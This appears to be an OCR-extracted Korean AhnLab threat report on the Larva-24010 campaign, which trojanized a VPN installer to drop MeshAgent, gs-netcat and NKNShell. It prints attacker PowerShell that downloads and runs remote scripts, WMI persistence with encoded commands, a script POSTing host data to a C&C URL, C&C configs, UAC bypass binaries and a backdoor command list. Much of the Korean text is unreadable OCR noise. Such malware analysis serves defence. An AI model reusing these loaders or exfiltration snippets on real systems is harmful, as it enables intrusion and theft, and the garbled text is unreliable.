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https://asec.ahnlab.com/ko/91056/
https://asec.ahnlab.com/ko/52076/
https://asec.ahnlab.com/ko/53053/
https://asec.ahnlab.com/ko/55524/

=L VPN 24X 2] ZH[O|X[0M = 2025 11& S| = b =T T2 2 = &0 S0 o X[

9
f= oho| er=2 aiAlshl AdsHH "ok VPN HX|2F SA|0f| PowerChellZ O

M CH2Z2E=8t

g otiel ASBEE CRECa) AYBICH TYY ASREL TP UM TS S MRISHs
4| =& 22 NKNShell2t= 0|E2| B =012} MeshAgent J12| 11 gs-netcatO| QUCt 017 |0 M=
2izto| S E0f wiet ot T=SS EA B
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21. QI MX| =203

Normal NKNShell
Installer

Download Malicious Downloader - 1
Page Installer

A\ 4

MeshAgent

Downloader - 2 gs-netcat
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https://github.com/EvilBytecode/GoDefender

2.2 1lgl CIREE AT EE -1 (sql-auto.ps1)

52 gosts ch22cfolch 519 Allof
|83l 4TS Mt HO2 Ho|d ol A nhl

# # 2 ~32ES 2o JoboM HE7|Hoz ¥
# foreach ($url in $ScriptUrls) {
# Write-Host "Starting background job for: Surl" -ForegroundColor Cyan

# # JobojM H¥z ~A3FE 25 HI

# $jobScriptBlock = {

# param(SscriptUrl)

# G |

# Write-Host "Job started for: $scriptUrl" -ForegroundColor Yellow

# § AIEE NS ChR= ol S

# SscriptContent = (New-Object System.Net.WebClient) .DownloadString($scriptUrl)

# Invoke-Expression $scriptContent

= Write-Host " Job completed successfully for: S$scriptUrl" -ForegroundColor Green
# s cateh™{

# Write-Host "X Job failed for $scriptUrl : $(5_.Exception.Message)" -ForegroundColor Red
# ¥

# }

# # MER Job AlE (HIE7], O7I8HR] &8

# Start-Job -ScriptBlock $jobScriptBlock -ArqumentlList

Figure 3. AIZ XMt Ao 2 FHE = A BXIY

“sql-auto.ps1"2 7| 50| CtASEX|2E =4 XHE| =0 S &S| b= B2 X Tl EXW S siE A3
EE= QIR C|HEHE H|2M516t0 0| 2| M2| A2 E SE=5H0 BlackShell2560| 7S “Null-
AMSI” AT ZIEE AlEHsH AMSIZE 235|512 0 A| =5FRCE. [2] “sql-auto.ps1”e| 7tA& =E=R5H 7| s
2 220 AM FIIHO|EEE CHR2EESH= AO|CE CH2EESH= A2 F /M E L =8| Stih=
Xl 7|E =M XMe2| =] UK SQLMap 2t FEE MX|St= A0|0f CHE StLt= EE CHE CF2
2 A3 E EQl “install.ps1”"E MX|6t= Z0|C}.

23. 1} gl CIR 25 AT E E - 2 (install.ps1)

“install.ps1” A E= S 7|& M X250 UX|2 “Invoke-NullAMSI"E 0| &35 ETW(Event
Tracing for Windows)ZE H|&M3}6t= 7| 50| &% 120 “Cleanup”’0|2t= O0|E2| WMI Z E
£ S=3f X542 RAIAIZICH “Cleanup” TE| = LYR0| ZXfsts AX| Ct2 20| ATRES A

Sl o oS 5 1 == i =2 =

WStz 7|sS MSetet o|2fgt HH0| EUHH F= AdAE QMM Y0 E Z2MAEE S
= = = = =

Zolnoig A3 ES XY MYt

Name Cleanup

Query SELECT * FROM Win32_ComputerSystem WHERE PrimaryOwnerName IS NOT NULL

QueryLanguage WQL

CommandLineTemplate  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase645tring('JGVmMZW
Name DataCleznup

Figure 4. SE% WMI ZE{ 2! A7+
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https://github.com/BlackShell256/Null-AMSI

XMoo= MallE[= AT E E = 1571 2| UAC Bypass 7|H 2 X[ SHX|2F AN ZE = A2 E[X]| §I=
Ct. X|R5te 7| sE2 22t fodhelper.exe, slui.exe, silentcleaunp £, sdclt.exe, perfmon.exe,
eventvwr.exe, compmgmtlauncher.exe, computerdefaults.exe, E2 =%}, cmstp.exe S &2 &l
UAC 23] gtalSolct.

oo

SJEEQ| AAIMO| 7|52 IR EE=E M gs-netcat, MeshAgent, NKNShell Bi =0{ MX|E EH &
C =

== "1 - 4=
f. 2102 NKNShell 8= 0{2| A< O10|ZE2EAZE ClIX|, {2, ALY, DT Z2M|A

i

2.4. MeshAgent

MeshCentral L= AAO0|HA 222 A HO|E x1|—To'—3}E 22| =3 0o|Ct. MeshCentraloj| A K|
5= MeshAgent= 2] AISH0|L} It CIR 2 S 9 2t ZHE A|AH] &|0f W SHeat ofL|a}

VNC, RDP2} &2 &4 HIA3E 7| s N ZSiCt. _'747(} 0} 7{2E{ MeshAgentZ X|&x o=z
ALEStD U= Ao EFO|CH IHEE A0 AR E0] ZEH MeshAgent= S AKX &1 & K| 26t
Sej2 M Ch21} 22 PDB HHE ZeCh

= X L—

o C:\Users\anfdh\Downloads\MeshAgent-master\MeshAgent-
master\Release\MeshService64.pdb

e C:\Users\anfdh\Downloads\MeshAgent-master (1)\MeshAgent-
master\Release\MeshService64.pdb

e C:\Users\anfdh\Downloads\MeshAgent-master (2)\MeshAgent-
master\Release\MeshService64.pdb

“‘new-ms.ps1” AT E E = “%LOCALAPPDATA%\svchost\services.exe” 4 20| MeshAgentE CI&
2C5tT S 20 “services.msh” M IHYU S B S0 ST MM S ALRSIEZ 51T MF
o= ch=2 o 20| C&C ME{ 2| AT} Zetz[0] QICt.

MeshID=0x8ARA333246
ServerID=BEC956642
MeshServer=wss://kttelecom.duckdns.org:443/agent.ashx

InstallFlags=2
ignoreProxyFile=1

Figure 5. C&C MB{ AT ZetE M- ntel

2.5. gs-netcat

Global Socket2| =7 = stL2l gs-netcat2 GSRN(Global Socket Relay Network)2t= S A 2
0|83l S4letCt. gs-netcat2 netcate| GSRN H{H 2 2 A LI R 20| 2 XI5 = M5 H|ZH
o|gsl| £EAl0| 7t=35tC}.

ol
M o
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“gsocks.ps1” A3 2 E = “file.zip” &= nld 2 Ct2 2 =5} “c:\windows\linux” Z 20| s X|5H=C|

017]0f| = “cached.exe”2}= 0|E 2 Z gs-netcat0| Z&HE| 01 T} EESH “windows.sh”E A ASHT
“bash.exe”’E 0|23l 0|2 AlSiEH=C] “windows.sh”0l| = gs-netcat2| H|ZHS 7} MA =0 Q. 2

:

AR ST HILHSE S5 2/ R0 M 2 AIARO| HZE 4 UCH 5 “gsocks.ps1” ATBEL
gs-netcat 0|88t 212 A2 MX|ste 7|52 HEBiCt

= =HEs ER =2E 37|
[ awk 2023-03-20 2= 10:05 Lot GEAKE
[z bash.exe 2023-03-20 2= 1005 S£ == A35KE
(&3] bzip2 exe 2023-03-20 2= 1005 S£ == 33KE
(5] cached.exe 2023-03-30 29 813 ESE == 136KE
[z cat exe 2023-03-20 2= 1005 2S£ =20 ADKE
[ cp.exe 2023-03-20 2= 1005 S£ == 130KE
| windows.sh - Windows 2% — O >
maErE BHEE MAO) 2oV S
#1/bin/bash

line=5%(./ps aux | ./grep -w "cached”| ./grep -v ./grep | ./wc -l)
if [ $line == 0 ]]; then
GSOCKET_ARGS="-5
£114d 75— 7 il
exec -a cached ./cached
echo "Not Running”
else
echo $line = /dev/null
echo "Running”

A3 E

0

Figure 6. gs-netcat 4 X| Z=Z 2! Al

2112 “bash.exe”E 0|26t “windows.sh” A3 Z E Al s 2[ = “Windows Linux System”0|2t=
o|E2| &tiofl SE=/0f X|&40| KXIEICE 0]2J0| = gs-netcate] H|UH S E Z a5 Al A Q| 7|
bxKel|

=80 HES2 uield HHE Sall C&C AMH = SHX| A M =T
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$systemInfo = @@

{
username = Senv:USERNAEME
ram = "SfreeRam/StotalRam'
waniip = Get-ExternallP
uid = $U‘UID
osinfo = "windows"
hostinfo = $env COMPUTERNAME
archinfo = $env:PROCESSOR ARCHITECTURE
pathinfo = SexePath
} | ConvertTo-Json
$response = Invoke-RestMethod =-Uri "https://inspiring-monstera-5c3688.netlify.app/afsocks™ *
-Method Post °
-Body $systemInfo °
-ContentType "application/json”
-TimeoutsSec
Write-Log "System info sent successfully. Response: Sresponse”™

Figure 7. 21 M < FE

2.6. NKNShell

‘PX.exe’2t= 0|22 MX|=|0f AE|= YT L Go 21012 ZHAE =0{0|ct Go 210{2|
&t=£0|L} “NKN Shell Client” 52| 2XE S

= & &= AUCH NKN2 New Kind of Network2| 2fXt2 EEX|Cl 7|8t P2P L EQ3 =T 2 EZ0|C}.

AlX| et FE= C&C A{H{2te| EAl0) NKN ZZ EZ80t ofL|2} MQTT(Message Queueing
Telemetry Transport)2t= HA| 2l T2 EZ S &7 AFREIC}

S E5l &t T E X ZHRF7F NKNShell2 0|2 291 A
(o]
o

NKNShell2| £Z & Stiti= MZALZLAIE 236l M2t A2 FHEICH= FO|Ct oM nief
AT ERL SYUSH AT = HIO[HZ| LHR 0= &t=0] FA0| ZEE|0| JU2H AFEE|= 0|2
XE EH MAXILALE AIE 86t A2z Holct
Address Length Type String
e rdata:00000000010BYFYE 00000020 Bl HAAE BT
e rdata:00000000010BYF9E 00000020 encrypt_type _LCHIIE 22
| rdata:00000000010BYFEE 00000020 Pl %d 00 ZIE - %s
| rdata:00000000010BYFDE 00000020 ¥ <Spre> B LBY ZDfwn
| rdata:00000000010BYFFE  0000OOOZ0 3 Basebd [| 2= E"._E Zntn
| rdata:00000000010B8016 00000020 & [ CI22E &: %s
# | rdata:00000000010B8036  000OOOZ0 E M EEH 45 355 %d

Figure 8. HjO|HZ|0f| Z&HE M B X}

Go H0{ 2 A| =& NKNShell2 C&C AM{H{2}2) A_ I'_|-7H01|A-| NKNZ} MQTT Z2EZ S A5
o|E 0I°6H TS MR =0t C&C M 2te| S4lo| 25Xl 7|8 P2PHESRS =2
2= 20l = ZEXSH=0 tEX 2= NKAbusel+ [3] 22 oA ofd 3
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https://securelist.com/unveiling-nkabuse/111512/

NGLite7| UC}H [4] M F=E= 1REHID S NKN =AE MMEH0|F 0|E &85l Seed ==0f &
£510{ 0|3 Hio| 2|0l SIERYE 0f QU= Fao| BAHRA SRS YRS MAFIC)

POST / HTTP/1.1

Host: mainnet-seed-8804.nkn.org:308083

User-Agent: Go-http-client/1.1

Content-Length: 139

Accept-Encoding: gzip

1"id" : "nkn- Sdk—gu“ "method" : "getwsaddr"”,"params”

{"address”:" 2 .a5%7d.

?bBbbSaEE—SE"}}
Figure 9. Seed = =0 CH$t & T3l

NKNShell2 C&C AM{H{2}o| EAI TFHO|M HA|Z! Z2EZ0I MQTTE &84 &85 HA Cl2
ot 22 MQTT 2270l H=at=n| 24 A|AE 9| Client ID= NKN T A AF8t 240t S U5}
A ALE=ICH 202 M 0™ EAE ET| WIll HIAX[(LTW : Last Will & Testament)E &7
HLUIC} EESENKN =2 EZ 23 A|AEI| M RISt HE E MESICE 00| L2 =% 6ff
StEDZZ 2E5t0 QE Z2AX= 24 A|AHo| CHst HEE T 4= QI

_|

MQTT E27 =24 — 1 : broker.emqgx][.]io:1833
MQTT EZ#H —’F—/\ — 2 : broker.hivemq[.Jcom:1833
MQTT EE2H F 3 broker.mqtt[.]Jcool: 1833
MQTT EZ7{ 4 — 4 : broker.mosquitto[.]Jorg:1833

v MQ Telemetry Transport Protocol, Connect Command

> Header Flags: 8x1@, Message Type: Connect Command
Msg Len: 447
Protocol Name Length: 4
Protocol MName: MQTT
Version: MQTT v3.1.1 (4)

> Connect Flags: 8x34, Will Retain, Qo5 Level: Exactly once delivery (Assured Delivery), Will Flag
Keep Alive: 6@
Client ID Length: 71
Client ID: a57d.7b9b i, 57 - 1
Will Topic Length: &
Will Topic: NG
Will Message Length: 352

Will Message: 6537 1 30...

Figure 10. MQTT E27{ o1Z nt™ oA 2| TiZl

2112 NKNShell2 Client IDE &h235l MD5E A|Alstd 6H =t a,tg XY 2 5= ETEE =5t
il B2 A} S5 Wil B AIX|0fl M FEHH Client IDE S5 21 AIARI0| 0f MD5 2XHAS 2
S8 PSS HOIK L 4 ULk 5 BAERE s S2of n1|A|x|§ HEEASoRN BYS
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https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/

gl = Qs Ao|ct

o2

= e

arch o7 |Ell X

cpuusage CPU Atg22F

hostinfo HEE{ 0|2

isadmin 2| X AsHoE

lanip IP =4

mac MAC F2

num_cpu CPU 30 7%=

os 2 AN |

osinfo SUNM HE (FER HA 5)
pathinfo otMEaE A2

ram RAM M H
username Al&X} 0|2
version 1.0.7

wanip External IP

B. X|&st= HH

NKNShell2 NKN, MQTTE S3lf Ct20t 22 HY¥ES dMedte=rt tHR 22| Bz ofS0| X| A5t
= M2 7, 22 Hlojoh PRiE BNl PSS X Ast UY K22 2EE 0] K| ot

9/14



g3

ps

bof

rem

ping

attack
config
command
sideload
spawndll
file_list
injection
migration
clear_log
execution
disconnect
execute pe
screenshot
codesigning
steal_token
file_delete
file_upload
file_execute

clone_session

N
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|El

BOF (Beacon Object File) &1 &

Rem Proxy
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DDoS &2 @& (tcp, udp, http flood)
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=B

file_download
inject_process
postmsf _cshrp
set_encryption
execute_csharp
python

get_systeminfo

ps_session_exec
execute_assembly

impersonate_user

ps_session_start

ps_session_stop

execute_shellcode
enumerate_sessions
execute_powershell
hijack_codesigning
migrate_cobaltstrike

process_manipulation

execute_charp_bypass
inject_system_process

spoof_microsoft_signature

4 | RN
e oH o pe  or
mox n
20
50 1 Hu
oo & In

s

]

HIAIX] &t

ol
ot

0 Al

=

iz

2|

>
o2

Lio|M AFEE A

=H —

OF7[EX, CPU, HH & S Al&

nhd MM AlE

med MM B

]

= 2 M| A Z=ZL (inject_dIl, memory_dump, hijack_token, Kkill,

resume, suspend)

TEE R 242

AAE Z2A A OIH A
85X %S

Table 2. NKNShell0| X| 25t= 32

02
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Figure 11. MQTT Z 2 E Z0{|M ping HZH Al

C. ool E

NKNShell 28Hs{9l 222 Saff H|0| E5H= thal & Ch2 QlZatE 2g8ict £7159l C&C

Mu{Lr 2l 52 701 =iy J2i = (telegral.]Jph, te.legra[.]Jph, graph[.]Jorg)E & &35t= A0 EZ QI
= Z20f Mot

121 =
= & StLHE HESHA MESHD Fof| URLE =2l

o T 1= O =
Al HHIO|EE A DES| HO|ZE FAE &0le 5= UL}
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Figure 12. 2| J2 =0 =2 EF HO[0|E F=A&

2.7. SQLMap 2t T E

S AR 7IFE B ASRIE0AE FA X2|E0f YUKUKIBH main.exe” 5 SQLMap Ot T
S M| BZHOIM AFS 7| S 3120t SQLMap2 QIXtZ e SH FAS MO 2 of S
2|7H|0| Mofl CHEH SQL 1% M FOFH S HZsH F= 2F A4 =70|Ck SQLMap 24 A=t Al
#=|o S Z20{ “sqimap-win64” BCH0f| SQLMap =& A4 SiCt.

3. 48

=2 Larva-24010 24 X7t ZL{ VPN ¢XN|2| EH|0|X|E Eo UM TFEE SZESID 204 0]0]
t2t s =k VPN SH| O X|0| M MX| ot S CH2E2E0] Adlist A AN I =7 MR E

Larva-24010 Z2ZAX= M0o{ = 2023HEE] ZLH VPN AISXAISES Ao Z ot aE S
Ao = EH 2 Z MeshAgent, gs-netcat, NKNShellz} 22 C}QFStH Bt =
Ct. ofolf et B A XH= s VPNO| M| = 2 A[AEIZ X0 Z

— = [ ) <|SF A
So| piztst HES BE(E 2 UCt.

MD5
0696da5b242023308ad45¢c50666b2b96

Odfea610a526b0d458e84c6cd604b2ab
21067f677b8ac8d843a56cd2c19356ff
2e9bf8bf256a0c60402e05d6f20c6e3d

60f153778e843fc04c6ab239ca650a89
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F7tloCe= ATIPOIM M| =& LTt
URL
https[:]//camol.]hach[.Jchat/?proxyUrl=https[:]//dnot[.]sh/

https[:]//inspiring-monstera-5c3688|[.]netlify[.]app/afsocks
https[:]//microsoft[.]devq[.]Jworkers[.]Jdev/newms].]Jexe

https[:]//openai-proxy[.Jnapdev[.]workers[.]dev/?url=https[:]/pub-
fd29cd63fb8c4b7fb0c7d3fa893212b9][.]r2[.]dev/Protect[.]exe

https[:]//proxy[.]wingram[.Jorg/?proxyUrl=https[:]//microsoft[.]devq[.]workers|.]Jdev/newms|.]exe
=7} loC= ATIPO|M N2 ElL|Ct.

FQDN
kttelecom[.]Jduckdns].]Jorg

spiffy-crepe-c667e8[.]netlify[.]app

AhnLab TIPE F=5HAH A2 I0C A &M 24 HEE FIOMH 22 2QIsH o USLIEL XM
otLiE2 Of2l B & Z&/510] eI EM L.

AhnLab TIP

| AEelEl i AHalH A2 2 AES] 2AHIR

atip.ahnlab.com
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